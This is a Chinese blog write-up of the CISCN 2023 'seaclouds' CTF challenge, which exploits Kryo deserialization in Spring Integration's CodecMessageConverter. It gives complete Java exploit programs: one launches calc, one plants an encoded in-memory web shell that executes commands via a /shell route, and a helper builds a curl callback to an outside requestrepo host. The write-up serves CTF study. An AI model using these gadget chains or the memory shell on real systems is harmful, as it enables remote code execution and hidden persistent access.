[CISCN 2023 西南]seaclouds

玩了三天,做做题复健。

这次看到的题是CISCN的seaclouds,这道题没直接用java原生反序列化。

审计分析

审一下源码:

一个MessageController.java,访问根路由传参message,

那么它会解码一个硬编码的Base64字符串。如果message参数不为null,那么它会尝试解码该参数。如果解码失败,它会解码另一个硬编码的Base64字符串。

解码后的字节数组被传递给CodecMessageConvertertoMessage方法,该方法将字节数组转换为Message对象。然后,该方法返回Message对象的有效负载。

 

User.java:

没什么东西,就一个简单的功能定义。

StartApp.java:

也没啥东西,就是个启动的玩意。

 

看下依赖:

发现一个kryo,这里跟了wp审了一下,中间就会用到kyro,而且当时题目的hint就是kyro反序列化 + Hessian原生JDKpoc。

 

下面分析来自:CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化) | Java (gitbook.io)

也只能从这里入手:

CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();

这个org.springframework.integration.codec.CodecMessageConverter是什么?

官方说是:

A MessageConverter that delegates to a Codec to convert.

这里实例化CodecMessageConverter就传入了org.springframework.integration.codec.kryo.MessageCodec。

Codec又是什么呢?

Interface for classes that perform both encode (serialize) and decode (deserialize) on multiple classes.

大概就是跟序列化和反序列化有关的。

跟进CodecMessageConverter#toMessage:

这里指定了解码的类型this.messageClassGenericMessage),最后MessageCodec#decode也返回了一个Message对象,所以后面构造的时候要用GenericMessage将payload封装起来:

public class GenericMessage<T> implements Message<T>, Serializable {
    // Create a new message with the given payload.
    public GenericMessage(T payload) {
        this(payload, new MessageHeaders(null));
    }
    @Override
    public T getPayload() {
        return this.payload;
    }
}

又注意到控制器最后调用message.getPayload返回了User对象。下面代码可证实:

User user = new User();
user.setName("seaclouds");
user.setAge("10");
GenericMessage message = new GenericMessage(user); // 实例化GenericMessage传入payload
MessageCodec messageCodec = new MessageCodec();
byte[] bytes = messageCodec.encode(message);

CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(bytes, (MessageHeaders) null);
System.out.println(messagecode.getPayload());
// 输出User{name='seaclouds', age='10'}

回到toMessage,继续跟进decode:

网上Kryo相关的攻击都是在Dubbo下利用的:

com.esotericsoftware.kryo#readClassAndObject ->
    com.esotericsoftware.kryo.serializers#read ->
        java.util.HashMap#put ->
            org.springframework.aop.target.HotSwappableTargetSource#equals ->
                com.sun.org.apache.xpath.internal.objects.XString ->
                    com.alibaba.fastjson.JSON#toString -> fastjson gadget 
                            -> TemplatesImpl to load evil class

fastjson是Dubbo自带的,本题没有这个依赖

也就是要找后半段链子来接上toString

根据题目提示用Hessian原生JDK去打(Hessian在那条链只充当source触发toString):

javax.activation.MimeTypeParameterList#toString
    UIDefaults#get
        UIDefaults#getFromHashTable
            UIDefaults$LazyValue#createValue
                SwingLazyValue#createValue
                    sun.reflect.misc.MethodUtil#invoke

 

开缝

调用链:

CodecMessageConverter
    -> toMessage(decodemsg, ...)
       this.codec.decode(decodemsg, ...)

AbstractKryoCodec
    -> decode(decodemsg, ...)

PojoCodec
    -> doDecode(...)

Kryo
    -> readObject(...)

MapSerializer
    -> read(...)
       Map#put(hotSwappableTargetSource, ...)

HotSwappableTargetSource
    -> equals(...)

XString
    -> equals(pojoNode)

BaseJsonNode
    -> toString()
       InternalNodeMapper#nodeToString(this)

SignedObject
    -> getObject()
       a.readObject()

BadAttributeValueExpException
    -> readObject()
       valObj.toString()

BaseJsonNode
    -> toString()
       InternalNodeMapper#nodeToString(this)

TemplatesImpl
    -> getOutputProperties()

...

Exp

本地弹calc:

package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Exp {
    public static void main(String[] args) throws Exception {
        // 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

        POJONode pojoNode1 = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
        setFieldValue(badAttributeValueExpException, "val", pojoNode1);

        // 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
        // 初始化 SignedObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        POJONode pojoNode2 = new POJONode(signedObject);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手动构造 HashMap 以防触发正向利用链
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
        setFieldValue(hashMap, "table", tbl);

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        // 序列化
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);

        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

        // 反序列化
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload();
    }

    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

注意重写com.fasterxml.jackson.databind.node.BaseJsonNode,移除其writeReplace()方法,让Exp里的优先调用我们重写的方法,以顺利进行对象序列化,注意一下文件结构:

终于.....

 

但题目不出网,所以要打一个内存马:

package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.support.GenericMessage;

import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        String s="yv66vgAAADQAzQoANQBOCABPCwAqAFAIAFEKAFIAUwoACQBUCABVCgAJAFYHAFcIAFgIAFkIAFoIAFsKAFwAXQoAXABeCgBfAGAHAGEKABEAYggAYwoAEQBkCgARAGUKABEAZggAZwsAKwBoCgBpAGoKAGkAawoAbABtCABuCwBvAHAHAHEHAHILAB4AcwoAdAB1CAB2CgApAHcKAHgAeQoAeAB6BwB8BwB/CAA6BwCABwCBBwCCCgApAIMIAIQKAHsAhQsAhgCHCwCGAIgKACcATgoAHwCJBwCKCgAzAIsHAIwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAFc2hlbGwBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQANU3RhY2tNYXBUYWJsZQcAVwcAjQcAjgcAYQcAfwcAgQcAggEACkV4Y2VwdGlvbnMHAI8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAJABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4HAIoBAApTb3VyY2VGaWxlAQANTWVtU2hlbGwuamF2YQwANgA3AQADY21kDACRAJIBAAdvcy5uYW1lBwCTDACUAJIMAJUAlgEAA3dpbgwAlwCYAQAQamF2YS9sYW5nL1N0cmluZwEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJoAmwwAnACdBwCeDACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwANgChAQACXEEMAKIAowwApAClDACmAJYBAAAMAKcAqAcAqQwAqgCrDACsADcHAK0MAK4ArwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAsAwAsQCyAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDACzALQHALUMALYAtwEABmNvbmZpZwwAuAC5BwC6DAC7ALwMAL0AvgcAvwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BABRCdWlsZGVyQ29uZmlndXJhdGlvbgEADElubmVyQ2xhc3NlcwEACE1lbVNoZWxsAQAPamF2YS9sYW5nL0NsYXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADAAMEBAAYvc2hlbGwMAMIAxAcAxQwAxgDHDADIAMkMAMoAywEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMwANwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAA9wcmludFN0YWNrVHJhY2UAIQAnADUAAAAAAAUAAQA2ADcAAQA4AAAAHQABAAEAAAAFKrcAAbEAAAABADkAAAAGAAEAAAATAAEAOgA7AAIAOAAAASEABQAJAAAAqSsSArkAAwIAxgCgBD4SBLgABToEGQTGABIZBLYABhIHtgAImQAFAz4dmQAfBr0ACVkDEgpTWQQSC1NZBSsSArkAAwIAU6cAHAa9AAlZAxIMU1kEEg1TWQUrEgK5AAMCAFM6BbgADhkFtgAPtgAQOga7ABFZGQa3ABISE7YAFDoHGQe2ABWZAAsZB7YAFqcABRIXOggsuQAYAQAZCLYAGSy5ABgBALYAGrEAAAACADkAAAAyAAwAAAAqAAsAKwANACwAFAAtACYALgAoADAAYwAxAHAAMgCAADMAlAA0AJ8ANQCoADcAPAAAAC4ABv0AKAEHAD0fWAcAPv4ALgcAPgcAPwcAQEEHAD3/ABUAAwcAQQcAQgcAQwAAAEQAAAAEAAEARQABAEYARwACADgAAAAZAAAAAwAAAAGxAAAAAQA5AAAABgABAAAAPABEAAAABAABAEgAAQBGAEkAAgA4AAAAGQAAAAQAAAABsQAAAAEAOQAAAAYAAQAAAEEARAAAAAQAAQBIAAgASgA3AAEAOAAAAOoABgAHAAAAf7gAGxIcA7kAHQMAwAAeSyoSH7kAIAIAwAAfTCu2ACESIrYAI00sBLYAJCwrtgAlwAAmThInEigFvQApWQMSKlNZBBIrU7YALDoEBL0ACVkDEi1TuAAuLbkALwIAuQAwAQA6BbsAJ1m3ADE6BisZBRkGGQS2ADKnAAhLKrYANLEAAQAAAHYAeQAzAAIAOQAAAEIAEAAAABcADwAYABsAGQAlABoAKgAbACwAHAAzAB0ASgAeAFcAHwBcACAAYwAhAGwAIgB2ACYAeQAkAHoAJQB+ACcAPAAAAAkAAvcAeQcASwQAAgBMAAAAAgBNAH4AAAASAAIAJgB7AH0ACQCGAHsAwwYJ";
        byte[] bytes=Base64.getDecoder().decode(s);
        setFieldValue(templates,"_name","EddieMurphy");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        POJONode pojoNode=new POJONode(templates);
        HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(1);
        HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(2);
        HashMap hashMap=new HashMap();
        hashMap.put(hotSwappableTargetSource,"1");
        hashMap.put(hotSwappableTargetSource1,"2");
        setFieldValue(hotSwappableTargetSource,"target",pojoNode);
        setFieldValue(hotSwappableTargetSource1,"target",new XString("a"));
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
        POJONode pojoNode1=new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource(3);
        HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource(4);
        HashMap hashMap1=new HashMap();
        hashMap1.put(hotSwappableTargetSource2,"1");
        hashMap1.put(hotSwappableTargetSource3,"2");
        setFieldValue(hotSwappableTargetSource2,"target",pojoNode1);
        setFieldValue(hotSwappableTargetSource3,"target",new XString("b"));
        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        GenericMessage genericMessage = new GenericMessage(hashMap1);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
        System.out.println(Base64.getEncoder().encodeToString(decodemsg));
//        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
//        messagecode.getPayload();

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"curl 0gdcjvf8.requestrepo.com\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
}

记得url编码,构造一下POST包。

环境变量拿下flag:

 

参考:

【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现-CSDN博客

【Web】关于Java反序列化那些实现机制的朴素通识-CSDN博客

CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化) | Java (gitbook.io)

CISCN2023西南赛区半决赛 seaclouds (yuque.com)

 

posted @ 2024-05-04 17:22  Eddie_Murphy  阅读(80)  评论(0编辑  收藏  举报